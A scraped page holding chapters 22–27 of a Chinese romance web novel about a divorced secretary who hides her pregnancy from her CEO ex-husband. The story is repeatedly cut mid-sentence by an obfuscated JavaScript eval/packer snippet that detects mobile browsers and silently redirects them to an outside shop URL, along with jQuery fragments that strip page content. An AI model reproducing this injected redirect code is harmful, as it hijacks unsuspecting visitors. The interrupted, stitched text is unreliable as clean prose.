他步履缓慢的进入皇庭,走到她身前,目光带着几分逼视之意。 “今天的事,是你授意的?” 傅京礼的声音都是陈述句,仿佛此刻已经认定了许愿是犯下罪行的人。 许愿长指还握着叉子,插弄着盘内的点心,听到这话笑了。 她抬头:“调监控吧。” 第22章 她才是受害者 许愿就这样轻描淡写毫无波澜的开口,完全不带半点惧怕。 她只是掀起眼皮,淡淡的看着面前的男人。 即便心口带着明显的酸涩感,也被她强行压了下去。 怎么可能不难过呢? 他们一起朝夕相对三年时间,她的性子傅京礼都完全不清楚。 她从来都不屑于在背后搞这种无法登台的小动作。 可偏偏在傅京礼眼中,她就是如此卑劣。 多可笑。 傅京礼脸色冰冷,漆黑的瞳眸潜藏的尽是寒意,对她已然没了怜惜之意。 “嘉誉和你关系很好,难道不是为了你才为难许宁?” 许愿的长指仍握着叉子叉着盘中的水果,几颗草莓已经被她快要戳烂了。 “有没有可能,嘉誉只是不喜欢小三和私生女。” 许愿望着他,眼神毫不畏惧毫不闪躲。 “嘉誉一直都最厌恶小三和私生女,因为她曾经念书时最好的朋友,就是被家里的继母和私生女逼到自杀的。” “嘉誉对这类人群有多憎恶,你不会不知道。” 她轻描淡写开口:“又怎么能算在我身上。” “那你为什么会出现在这里?” 傅京礼似乎是已经确定这件事跟她有关,语气中仍带着冷意。 许愿眼神闪了闪,垂眸时不由得笑了。 “我为什么会出现在这里?” “你不记得了吗。” “皇庭几乎每个月都会在今天推出新品,我是一定会来皇庭尝新品的。” 话说到这里,她扬了扬唇,像是毫不在意般开口。 “也是,傅总从未将我放在心里,又怎么可能知道我每个月这个时间要来一次皇庭呢。” 许愿语气自带嘲意,嘲的是自己。 傅京礼目光淡淡的看着她,许愿却毫不躲闪的对上他的眼神。 “其实,就算这件事真的是我做的,傅总也不该来找我。” “我这样一个被抢了父爱抢了丈夫的可怜人,做出点什么难道不应该吗?”她开口,“我才是真正的受害者,为什么傅总要用我是施暴者的语气来指责我?” “袖手旁观,也能随意为我定下罪行吗?” “且不说我真的只是旁观,就算我真的设计了什么,那也是她应得的。” 许愿声音认真,且透着几分男人能明显听出的强硬。 “你不该来找我,你该去找许宁,让她谨言慎行藏好自己的身份。” “私生女和小三的身份,就是原罪。” 她毫不示弱,完全不低头。 傅京礼居高临下的看着面前的女人,隐隐觉得陌生。 三年夫妻生活,许愿在他面前一直是温顺体贴且柔和的,她从不曾反驳过她,所以他一直都认为许愿柔得像水。 直到此刻真正离婚,才发现他一直忽略的女人,从来都不是温顺的羔羊。 “许愿,她的出身她无法选择。”傅京礼开口,是在为许宁开脱。 许愿唇角含笑,却缓缓开口。 “那些给予旁人伤害的施暴者,一次又一次的在明知道自己和对方身份的时候,出现在对方面前,你觉得她是抱着什么样的心思呢。” “你该知道我才是受害者。” “这些天,一直都是施暴者出现在我面前,你却对我说她无法选择她的出身,要我躲着她让着她。” 许愿低笑:“是啊,你也是这么做的。” “为了许宁,你让我离开秘书科,从秘书转成项目组的经理。” “受害者需要躲着施暴者,受害者需要原谅施暴者,受害者不能报复施暴者……” 她说着说着,唇角笑意愈发大了起来。 “傅总,你自己听着这句话,不觉得可笑吗?” 傅京礼看着她,一时陷入沉默。 许愿也不逼他,只是又笑了笑,随意的倒了杯茶水,中和了嘴巴里那甜点的甜味。 只是此刻嘴巴是甜的,心里却是苦的。 “抱歉,是我考虑不周了,看来今天的事是嘉誉自作主张了。” 傅京礼放缓语气。 见他要离开,许愿将茶杯放到桌面上发出不小的声响。 “等等。” “不要去找嘉誉。” 见傅京礼转身,许愿开口:“别再揭开嘉誉的伤疤。” 傅嘉誉的伤疤,就是那个曾被私生女和继母逼死的好友。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13617976|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 在她才十几岁的时候,她听到这样的噩耗,所以一直都对这种出身的人带着浓烈的恨意。 “我会去找嘉誉谈的。” 傅京礼深深的看她一眼,正想开口说些什么,就听到身边传来一道苍老却浑厚的声音。 “阿礼,阿愿,你们也在皇庭?” 是傅老爷子。 两人面上表情明显一僵,都有些不自然。 傅老爷子没瞧见有什么不对,笑眯眯的招呼着两人见自己的老友。 那老友的孙子近三十的年纪了还没结婚,傅老爷子得意洋洋道:“我孙子和我孙媳早就结婚了,还说不久后,要给我弄个曾孙玩玩。” 傅老爷子在这里炫耀,却 没发现许愿脸色都有些发白。 她条件反射的将手放置到自己小腹处,脸上挂上浅浅的微笑,以免被人察觉异样。 直到老爷子炫耀够了,才对两人道:“我还有事要跟这老头商量,你们有事就先走吧。” “哦对了,阿愿你之前不是说一直想再去尝一尝a大附近小吃街的东西吗?今天那边营业,看着新开了不少店面,让阿礼带你去转一转。” 许愿顿住,正要委婉拒绝,男人却开口应下。 沈略此刻已经将车开回来,就候在门外,见两人同时从皇庭离开,显然挑了下眉。 “傅总,去什么地方。” “a大小吃街。”男人轻描淡写开口。 “其实不必走这一趟,送我回家就好。” 她并不是很想跟男人一起去吃饭,比起这个,她更想好好休息。 “不差这一时,就当是赔罪。” 男人不容他拒绝给了沈略一个眼神,沈略顿时了然驱车离开。 车子开到a大的小吃街。 今天似乎是a大有什么活动,小吃街里面人来人往特别热闹,还有袅袅的烟。 烧烤的淡淡香味,也从紧闭的车窗慢慢的渗透进来。 其实在皇庭,许愿还真没吃几口东西,她只是想尝尝味道。 没想到这次新品里面有道鳗鱼烧,闻到鱼的味道,她就有些犯恶心,所以点心都没吃几口,到现在都没能压下那股呕意。 现在闻着香味,她是真饿了。 第23章 不要招惹许愿 傅京礼一言不发的让沈略在路边找了个位置停车,带着许愿进了小吃街。 小吃街里都是一家家的小饭馆,或许是因为开在a大,都是较为干净的店面,路两旁还有小吃摊,拌凉菜、凉皮、鸡蛋灌饼、炒饭、炒面、烧烤、炸串等等的摊子,也有不少粤菜馆,川菜馆和火锅店。 在不宽的马路上,人群比肩接踵。 傅京礼一身精致昂贵的西装冷峻的脸,颀长的身子,再加上那么一身强大的气场,在这小吃街显得格格不入,又格外出挑。 而她身旁的许愿更是身姿纤细婀娜,容貌明艳动人,倒是让周围人的目光不停落在两人身上。 不过好在都猜着两人是一对儿,一时没有人敢凑上来要联系方式讨嫌的,也让两人落得清静。 反观那头停了车步入小吃街的沈略才是真的惨,不仅因为独自一人被一群小姑娘围观加微信,甚至还碰到几个男性要联系方式的。 他也是见过大场面的,却还是险些落荒而逃。 “去哪家?” 傅京礼护着许愿,不让她被人群磕碰。 长臂自然而然的就揽住了她的腰,把她往自己的怀里揽,小心的护着。 他是习惯性使然,许愿确实整个人身体都僵了一瞬,怕被男人察觉出什么,一直提着一口气。 这一路上,许愿没有被什么人蹭到,傅京礼也没察觉到她的不对。 风把傅京礼身上的男性香味也吹了过来,紧挨着他温热的胸膛,说话间气息拂在她的额上,让她的脸开始发烫怔然。 许愿也没看清,就随便指了一家,傅京礼便带着她进去。 坐下来才发现,这是家火锅店。 不仅只有火锅,还有各种烤串炸串。 许愿点了些烤排骨,又点了份番茄锅底,她觉得自己现在是吃不了辣的,这才要了番茄锅底。 没有要酒,只要了份牛奶,还是热的。 男人看她熟练的叫着服务员只是微微皱眉,但最终也没说什么,默不作声的把碗筷和杯子又用热水烫了一遍。 “其实你今天不必来陪我的。” 许愿笑了声:“你今天陪了我,又要怎么跟许宁解释?” 她开口提起的,还真的是很紧要的事。 傅京礼顿了下,并未说什么 ,就已经接到了许宁的电话。 许愿一脸了然,像是毫不在意他会不会继续陪在自己身边。 许宁在电话里撒娇,声音软软的诉说着今天的委屈。 可许愿对他说的那些话,却不停的盘亘在脑海中。 她的身份,倒真的成了他内心的一根刺。 许宁说了许多,只等男人说句心疼自己的话安慰自己几句。 岂料男人许久后开口,却说了句:“许宁,以后不要再去招惹许愿。” 手机另一头还在许家的许宁整个人都惊了,下一秒又听到男人开口:“最好也离嘉誉远一些,嘉誉对你的身份比较敏感。” 许宁能说什么呢? 她只能苦涩的笑了几声,以表达自己的善解人意。 挂断电话的下一秒,她险些将手机都摔到墙面上。 今天受了委屈的人是她,被欺辱的人也是她! 为什么在男人口中受委屈的,仿佛是许愿和傅嘉誉一样! 内心的恨意再度涌上来,手紧握着。 眼底都是凛冽的恨意。 她是绝不会让许愿太嚣张的! …… 许宁心里想了多少,傅京礼不清楚。 只是他重新回到火锅店包厢时,许宁已经趴在桌上睡过去。 她一直都是漂亮的,此刻侧颜都能透出五官的精致。 这样闭上眼睛,原本身上那股逼人的气势都被削减了,只显得温和无害。 “结账。” 傅京礼面无表情的说,幽深的双眼一直放在许愿的身上。 结了账,男人居高临下的看着已然睡过去的女人,不由得轻微皱眉。 下一刻,便直接将她打横抱着,带上车。 沈略此刻手里还拎着份烤串,见此险些呛得咳起来。 傅京礼扫他一眼:“开回公寓。” “好的傅总。” 一路上,许愿时不时的神志不清的呢喃几句傅京礼听不清的咕哝。 但有些话,是能听得清的。 他听到许愿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13617977|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说:“阿礼……你疼疼我……” 说这话时像是声音都带着几许乞求,后来却又像是不知道做了什么噩梦,像是在低泣。 “阿礼……不要伤害他。” 不要伤害他? 那个“他”又是谁?盛景炎吗? 男人眸光沉沉,但车子已经停在公寓楼下,不容他思考更多。 李婶看着傅京礼抱了个姑娘进门,吓了一跳。 她一直在这里照顾傅京礼和许愿的,直到两人离婚都震惊了许久,现在就见傅京礼带女人回来顿时惊了。 “先生,这是——” “把客房收拾一下。”傅京礼抱着许愿说。 “哎,好。”李婶尴尬的应下,赶紧去收拾。 出来的时候,见傅京礼还抱着,就没把 人姑娘放下,她心道这是要有多爱呢。 “你去休息吧,不用管我。”傅京礼对李婶说。 李婶赶紧应了声,回去的时候才瞥见许愿那张熟悉的侧脸,内心松了一口气。 哦,原来是夫人啊,那没事了。 丢下李婶,进了客房,许愿脑袋在傅京礼的怀里蹭了几下。 傅京礼眼一眯,却并未松开她,只是将人放到床上。 她似乎是真的很累,此刻都还陷入沉睡,脸蛋红扑扑的,眼睛闭着,可是眉头却皱着,看起来睡得也不安稳。 她躺在床榻上,头偏向一边,手却紧紧抓着衣角。 “先生,我拿了张被子来。” 李婶抱着被子进来,打算给许愿盖上。 傅京礼只眸光淡漠的看着,并未阻止。 被子本身还有些凉,所以许愿睡梦中,下意识的揪紧了被子。 身子仍蜷缩着,直到慢慢的暖和了些,她的眉头才渐渐松开,身子也开始舒展开,翻了个身,继续睡过去。 许愿的包被丢在了地板上,里面传出了手机铃声。 傅京礼把手机拿出来,见到上面盛景炎几个字,他眸光沉了几分。 他目光再度落在许愿那张漂亮精致的脸上,脸上却多了几分冷意。 不知出于什么心理,他挂断关机,回到了自己的房间。 第24章 他换的睡衣 “夫人?夫人?” 许愿睡得正熟,感觉有人在摇她。 她缓缓地睁开眼,看到的就是个四十来岁年纪的女人,慈眉善目。 是李婶。 她跟傅京礼结婚后,一直都是李婶照顾她。 许愿皱眉,撑着自己坐起来:“李婶,怎么了?” “夫人,先生让我来叫你起来,不然你上班该迟到了。”李婶和蔼的说。 许愿怔了下,点了下头。 低头,突然注意到自己身上的睡裙。 还不等她震惊,李婶先解释:“昨晚先生带你回来的时候,你已经睡得很沉了,先生怕吵到你睡觉,所以帮你换了睡裙。” 许愿身体整个僵住了。 她和傅京礼还未离婚时,在书房做策划案太晚,经常会趴在桌上睡过去。 那时男人都会抱她回房间,帮她换好睡裙。 如果她在这过程中醒过来,男人会带她去浴室,做更多事…… 她忍不住脸有些发红,不由伸出手拍了拍自己发烫的脸颊。 没有离婚前,傅京礼是她的丈夫。 可离婚了,还帮她换衣服,许愿怎么都觉得有些羞耻,接受不来。 她轻叹了一口气。 她对于昨晚最后的记忆,是跟傅京礼一起在火锅店的记忆,只是男人好像没动筷。 “夫人,昨晚也是您睡得沉,我叫了两声都没叫醒,先生这才亲自给你换的睡裙。”李婶笑道。 “不好意思。”许愿缩了缩脖子,只想就此消失,“给你们添麻烦了。” “这算什么麻烦,以前先生不也是这么照顾夫人的。”李婶安慰道,“夫人你收拾收拾吧,早餐已经准备好了。” 李婶这段话,却让许愿猛然间有些恍惚。 李婶一口一个夫人,倒让她偶尔有种自己从未离开这里的错觉。 她抬头,看了看这间房的布置,忍不住自嘲的扯了扯唇。 明明什么都变了。 她从客房起来洗漱,洗漱用品倒都是新的,也是她用惯的品牌。 客房没有她的衣服,她倒也没有多在意,穿着睡裙去餐厅。 许愿出来之前,深吸了一口气。 她实在是有些不太好意思面对傅京礼。 昨晚睡得沉,也不知道自己有没有说梦话。 隐约应该是有的,只是记不清楚了。 来到餐厅,傅京礼已经吃完了早餐,仍坐在餐桌旁看报纸。 似是察觉到她的脚步声,傅京礼把眼睛从报纸上抬起来。 淡淡的看了她一眼,看到她身上这件睡裙后,微不可察的蹙眉:“你就穿这个出来?” 睡裙是许愿以前留在这里的睡裙。 那时许愿对傅京礼还是藏着几分引诱的心思,睡衣普遍是较短的,亦或者是能露出光洁后背的黑色睡裙,搭上她的身材,实在性感。 “我以前不也是这么穿的?” 许愿坐在餐桌旁的椅子上,开口道:“而且客房没有我的衣服,吃过早餐我再换衣服,我以前也是这个顺序。” 是的,以前许愿也是吃过早餐再换出门的衣服,她就是有这样的习惯。 男人别开眼,忍不住开口提醒。 “你连胸衣都没穿。” 许愿回得干脆利落:“可是客房没有我的胸衣,我的这些东西都是当天要换的,你不是知道吗?” 男人捏了捏眉心,似乎不是很想理她。 她此刻身上穿的那件胸衣裙子到大腿根部,大片背部裸露在外。 她这样坐着,从他的角度能明显看到她的胸型,挺立性感撩人,甚至能隐约想到绵软的触感。 他尤其记得,许愿穿过这件衣服和他书房胡闹。 许愿没注意到男人的眼神,慢条斯理开口:“其实昨晚傅总叫醒我是最好的,这样我就可以回我自己的公寓,不会继续留在这里打扰傅总。” “这么说,还是我的错?” 男人看着她缓缓开口:“下次我会记得把你丢出去,也好过你在我面前牙尖嘴利。” 许愿就这么看了他几秒,半晌才开口:“我昨晚有说梦话吗。” 男人很明显顿了一瞬。 但许愿没注意到这细节,他淡淡嗯了一声:“或许说了,我没有注意。” 许愿微微垂下眼睫,没再多说其他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13617978|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。 没有说什么梦话就好,她还担心自己做梦会说出自己怀孕的真相。 目光落在餐桌上,刀叉切割着三明治,只是很淡很浅的腥味传过来。 许愿忍不住捂住嘴巴干呕几声,只觉胃部都隐隐的在抽搐,她眼眶都有些微的发红。 眼前多了一杯鲜榨橙汁,她捧起来,一口一口的喝起来。 是热橙汁,橙汁划过胃部,那股淡淡的腥气也被橙子的清爽气息遮盖。 那股呕意,很快也被压下去。 她脸色终于不再那么白,此刻终于有时间注意到周围,才发现此刻眼前仿佛投下大片阴影。 抬眸的瞬间,便看到男人漆黑探寻的眸。 “你应该向我解释下现在是什么状况。” 许愿忍不住弯了弯眼睛,像是故意 扯开话题,手却放在小腹处有些紧张。 “生病而已,傅总也要刨根问底吗?我想江医生已经把我的病历报告发给你了。” 傅京礼开口:“许愿,你这样子,看着很像……” “怀孕”两个字还没说出口,许愿就已经打断他的话,语气中都像是带着几分挑衅。 “傅总,你不会以为我怀孕了吧?” “虽然我们以前做那种事确实挺频繁,但每次都有避孕,也就只有那一次,傅总难道觉得自己真就那么厉害?” “傅总也不必太自信。” 男人抬眸,目光沉沉的看着她。 移开目光后,也的确没再提起这件事。 “傅氏与上面合作建立的度假山庄已经竣工,原定的剪彩宣传日因那天会暴雨,所以改到今天,吃过早饭后跟我去东丽区。” 傅氏与上面合作建立的a市的特别度假区,就在东丽区。 “傅总是不是忘了我已经不是你的秘书了?你该让那位新上任的许宁许秘书跟你一起。” 许愿话语中,明显带着拒绝之意了。 “她还不能应对这个场合。更何况,这是你曾跟过的项目,你不想去现场?” 没错。 这是许愿进入傅氏后争取来的最大的机遇,是她能在傅氏迅速站稳的最关键原因。 第25章 斯文败类 三年前,许愿才刚刚成为傅京礼的秘书,因为相貌太过出众没少惹人议论。 即便她大学只花费了两年时间就修完学分、几近满分毕业,也少不了闲言碎语。 而跟上面合作的度假村合作本该终止的,那时上面已经看中了另一家,且刚好算是傅家明面上的商业对手。 那时,傅京礼人在国外谈另一份合约,又因为天气原因没办法乘坐飞机回国挽回局面。 就在上面即将跟对方签合约时,是许愿争取到最后的机会,将两方公司利弊全盘托出,并利用舆论打败对方公司,成功让傅氏继续跟进这次度假村的合作。 许愿,就被上面指定成为负责人之一。 这当然不是什么好差事。 毕竟上面派遣来的人也是负责人,而她跟对方撞上,必然是要被对方欺负的。 后期可以说是设计风格也好,装修风格也好都有分歧,对方数次倚老卖老用身份来压制许愿。 傅氏秘书科没少嘲讽她。 许愿却搜寻了各类资料,这才得知这几个负责人其实早就收了对手公司的钱,是故意来捣乱的。 这样的罪行一旦被揭露,他们就走到头了。 许愿可能放过他们吗? 当然没可能。 那时她满腔热血,嫁给傅京礼就觉得自己一定要和傅京礼站在统一战线。 那些有黑料的人,她一个也没放过,全都凭借着雷霆手段拉拽下马。 偏偏,任何人都察觉不到是许愿动的手脚。 但却都清楚许愿不是个随意拿捏的人。 秘书科的人也因为这次的事,对许愿彻底拜服。 当你只是普通优秀,那些人或许会伤害你议论你。 但当你优秀到一定程度,那些人已经知道跟你的距离,习惯你的优秀。 而许愿就是凭借那次的事,在傅氏站稳脚跟,真正成为了傅京礼首席秘书之一。 到最后彻底上位 ,甚至能与沈略并肩。 听傅京礼提到这些,许愿眸光紧跟着闪了闪,她嗯了一声应下了,没再拒绝。 许愿问了句:“请来的剪彩明星是谁,需要我们这边做什么准备吗。” 听到这话,男人脸色微微有些发黑。 “什么都不用准备。” 见他这副模样,许愿隐隐猜到那人是谁了。 “这次请来的剪彩明星是林丽颖?怪不得不带许宁选择带我,许宁对上林丽颖……” 她嗤笑一声,也不知是笑的林丽颖还是许宁。 林丽颖,娱乐圈当红小花旦,a市中等家族出身,勉强也算是千金小姐,不过在圈子里炒的是白富美人设,有两千多万的粉丝。 且这人还追求过傅京礼。 不止是在微博示过爱,还曾对他投怀送抱过。 傅京礼没有对她出手,就已经是他的仁慈了。 这次这人又贴过来,还是一分代言费都没要,自荐的。 本来上面已经请好了剪彩的明星,但是林丽颖这咖位免费上赶着,谁也没推辞。 “吃饭吧,吃完了我送你去东丽区。”男人僵硬的转移话题。 “我自己坐车去就好。” 许愿喝了口橙汁,感觉胃部的恶心缓和了许多。 “你确定?迟到也没关系?” 傅京礼挑眉,许愿觉得他这表情简直是自带嘲讽技能。 许愿看看表,距离傅京礼提到的剪彩时间还有两个小时。 从这里去东丽区,就算是打车,少说也要一个半小时才能到。 “那就麻烦傅总了。” 见她没再拒绝,男人才开口:“昨晚盛景炎给你打了电话,我觉得太吵,所以关机了。” 许愿:“……” 她就说她昨晚一整晚没回家,温栩栩怎么一通电话都没打来,原来是她关机了。 “可能盛景炎真的很吵吧。”她随便找了个借口。 男人嗯了一声:“的确很吵。” 许愿沉默的看了男人一眼,颇为无语。 许愿迅速的吃完了饭,傅京礼便一言不发的起身往外走,也没跟许愿打个招呼。 许愿措手不及,赶紧换好衣服拎着包,拿起手机,急急忙忙的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13617979|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟上。 这个时间,能准时到已经是万幸,她也没时间挑件衣服,好在男人准备得还算充足。 只是她没想到,男人准备的是一条红裙。 踩着裙子上了车,坐在傅京礼的车上,许愿长指捏着裙摆,陷入沉默。 她偏过头,看了傅京礼一眼。 此刻的傅京礼戴上了眼镜,遮住他深邃的让人猜不透看不尽的眸子,侧脸完美,棱角如刀削一般。 傅京礼不戴眼镜时眸光犀利幽暗,戴上眼镜却多了几分斯文气息,不过许愿跟他接触得多了,更愿意用“斯文败类”来形容他。 许愿忍不住看了他好几眼,心跳也很快失了节奏。 随后她收回目光,不敢再看,专心的盯着屏幕上的时间来分散注意力。 即将到东丽区时,许愿终于没忍住开口:“为什么是红裙。” “你喜欢。” 男人轻飘飘的一句话,被她彻 底听进去了。 他记住了她喜欢红色,所以为她准备了红裙。 有些难得。 她突然觉得心口发涩,眼角有些微的湿润。 如果是那三年他就能知道这些,她或许会更开心吧? 不过他真要这样,或许离婚时她也会更加难过。 之前那样,也挺好的。 她没再说什么,将心里那些小心思全都抛诸脑后。 快到度假村的时候,许愿计算了下,时间刚刚好,便指着前面的街口说:“在那儿把我放下来吧,我走着去就好。” “……” 傅京礼瞥了她一眼,冷冷的目光瞬间就让许愿忍不住噤声。 许愿下意识的解释:“公司门口人来人往的,被人看到会传闲话。” 傅京礼淡定的将车开过街口,连一点儿减速停留的意思都没有。 她就知道傅京礼这人是个犟种,从来都不听别人建议的。 许愿无语的看他,最后忍不住退了一步。 “那就停在度假村门口吧。” 男人扫她一眼,眸色沉了下来:“如你所愿。” 第26章 理想型是许愿 最后,车还是在度假村门口处停下了。 好在现在出入的都是来参加此次剪彩的人亦或者是记者朋友,公司的人许愿并没有看到。 许愿光顾着查看公司门口的情况了,突然感到耳根一热,温热的暖风洒在她的耳根和脖子上,还带着傅京礼的气息。 许愿赶紧转过头,惊得屏住了呼吸。 傅京礼的脸近在咫尺,刚才她转头时,他的唇差一点儿就擦到了她的脸颊和唇角。 他灼热的气息洒在她的脸上,让许愿整个人都微微发愣。 两人距离很近,她透过镜片看进了他的眼睛里。 他的眼里夹杂着一丝热意,并不是她的错觉。 她好像被他深邃的双眼给抓住,怎么也挣脱不开,怔怔的与他对视,被他的目光给吸了进去。 两人的呼吸交织在一起,许愿的心跳得厉害,“傅京礼,你又要做什么?” “解安全带。” 傅京礼淡淡的说,嘴角都没有弯一下,和眼底的热意截然不同。 这一次,许愿的目光不自觉地又落到了他轻轻开合的唇上。 薄薄的唇看着严厉,触感却柔软。 许愿忍不住想到了他上一次强吻她的画面。 傅京礼挑了下眉,已经帮她解开安全带下了车。 “不下车?”再听到他的声音,变成了从窗外传来。 许愿抬头,发现傅京礼已经站在车门口等着她。 她点了下头,正要下车,男人却已经向她伸出条手臂。 许愿惯性的揽住男人的手臂下车,跟随他一同进场。 …… 度假村现场,傅氏邀来了大批的记者。 同时出现的,不仅有自己送上门的林丽颖,还有圈内爆红国民度极高的影后影帝一线流量,由此可见傅氏在商圈的地位。 傅氏公开了度假村的效果图,十分壮观大气,让在场的记者都为之惊叹。 顺势,也介绍了身为这次度假村负责人的许愿。 谁都没想到,这次的度假村总负责人是许愿这样一个年轻的女人。 等傅氏提到许愿这三年的成就以及获得过的奖项,顿时又觉得情有可原。 这不得不说,傅氏本身大胆,又有足够的底气。 且许愿本身的优秀,也让噱头一下子就冲了上去。 许愿的性别、年龄、容貌,也极有话题性,一下子就吸引了记者们的注意,纷纷提问。 但是这些,在林丽颖登场后便改变了。 先前影后影帝和一线流量在场时没有多少人敢乱提问,但林丽颖不同,她在参加此次剪彩仪式前就请这些记者吃过饭,故意放出风声提到自己要追求傅京礼这类的话。 果不其然林丽颖登场之后,记者们开始主攻林丽颖。 林丽颖上场后,故意站在了傅京礼的身侧。 两人站在一起非常登对,郎才女貌。 傅京礼的英挺自不必说,林丽颖又是以青春玉女的形象深入人心,肤白貌美,笑起来还有两颗小小的梨涡。 她站在傅京礼身边时,脸颊微红,不胜娇羞。 许愿已经退出包围圈远远看着登对的两人,尤其是林丽颖脸上娇羞的笑容,眉梢微挑,她都能感觉到林丽颖内心的得意和满足了。 “林小姐,有人提到您的理想型是傅总这样的,请问二位是在交往吗?因为傅总的关系,林小姐才来现场?”有记者提问。 林丽颖脸颊愈红,微笑着露出嘴角浅浅的梨涡,羞涩的说:“我和傅总还只是朋友,你们不要乱说。” 虽是这么说,可记者还是捕捉到了林丽颖的那个“还”字。 “还只是朋友,但是不排除继续发展的可能,林小姐是不是这个意思呢?”记者马上追问。 林丽颖羞红了脸,偷偷地看了眼傅京礼,欲语还休的羞涩模样。 身旁傅京礼高大的身子,让她要使劲儿抬头,才看得到他的脸。 他站在身旁,似乎都替她挡去了不少冷风,她内心的满足根本无法用言语表达出来。 又想着傅京礼的身份背景,本身又长得堪比明星,而且还多了那些靠脸吃饭的明星所没有的身居上位者的气势。 一举 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13617980|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一动,都是那么冷静睿智。 林丽颖的这一颗心,自然也是向着傅京礼去了。 能当他的女朋友,估计没有人会说不,恨不得上赶着,立即飞扑到他怀里。 她们这些女明星,其实最想要的,恐怕就是能攀上一棵高枝,而傅京礼更是最顶端的那一枝。 真要成了他的女朋友,不知道会惹来多少人的欣羡。 傅京礼从来没出过绯闻,没见他跟哪个女人走得近,一旦成为他的女人,那就说明他是认真了。 这点,林丽颖看得很明白。 林丽颖不说话,一副默认的语气,让记者们心中激动,这又是个好材料。 可傅京礼唇角微勾,在此时突然出声,对着话筒说:“林小姐并不是我喜欢的型。” 全场哗然,记者们都震惊了。 没想到傅京礼会这么不留情面的,当着人家的面就拒绝。 没看林丽颖刚才那副 欲语还休的娇羞模样吗? 摆明了就是落花有意。 但可惜了,流水无情。 林丽颖的脸色登时白了,脸上的娇笑僵住。 她尴尬的立在原地,想保持笑容又保持不住,嘴角一抽一抽的。 偏偏对象又是傅京礼,哪怕是被羞辱得再厉害,她也不敢吭一声。 “那承少喜欢什么类型的呢?”记者马上又问。 不知道是不是错觉,许愿此刻还站在人群外乐不可支,却倏然对上男人的目光。 看到她那幸灾乐祸的笑意,男人眉梢挑了挑,指向许愿所在的方向。 “大概是许经理那样的。” 话落,场面一时静下来。 谁也没想到傅京礼真的会回答。 甚至他口中的“许经理”,就在现场! 别说记者们愣住了,许愿也怔了,她是没想到这男人是真敢给她惹事的。 正要回绝说这是玩笑话,也不知道是谁突然抬高了声音喊了句:“傅总喜欢聪明的!” 现场一片哄笑。 谁不知道林丽颖是学渣啊! 第27章 晚宴 a市许家。 许宁回到许家钻进房间后,没有出来。 许镇江市最疼这个女儿的,虽然不一定是真心疼爱,但因为许宁跟傅京礼那些羁绊,他可是将许宁看作未来的踏脚石,想着能青云直上。 看到她这副悲伤模样,许镇江推门而入,询问缘由。 许宁坐在床头,双手抱膝,一副可怜模样。 “这次傅氏度假村剪彩活动和今晚的晚宴,都是许愿作为傅京礼的女伴出场。” 她声音很轻:“明明我才是傅京礼的秘书,可姐姐一定要跟着傅京礼参加晚宴,到时傅氏肯定都会笑话我的。” 这点,许宁还是有自知之明的。 一般情况下,参加晚宴的管理层身边带着的女伴或者男伴,都是自己的秘书或者助理。 这次傅京礼没有选择她反而选择许愿,足以证明傅京礼并不相信她的能力,所以从根源上,直接剔除了她参加晚宴的机会。 秘书科那些人本就瞧不上她,等这件事传回去,肯定又要在私下嚼舌根的。 许宁就是再厚脸皮,也接受不来这个。 “这次的晚宴,我们许氏也收到了邀请函。” “我带你去傅氏的晚宴。” 许宁眼睛发红:“这怎么能一样呢……” 她是傅京礼的秘书,可现在圈内有几个人知道她呢? 人们提起许秘书,就只是许愿。 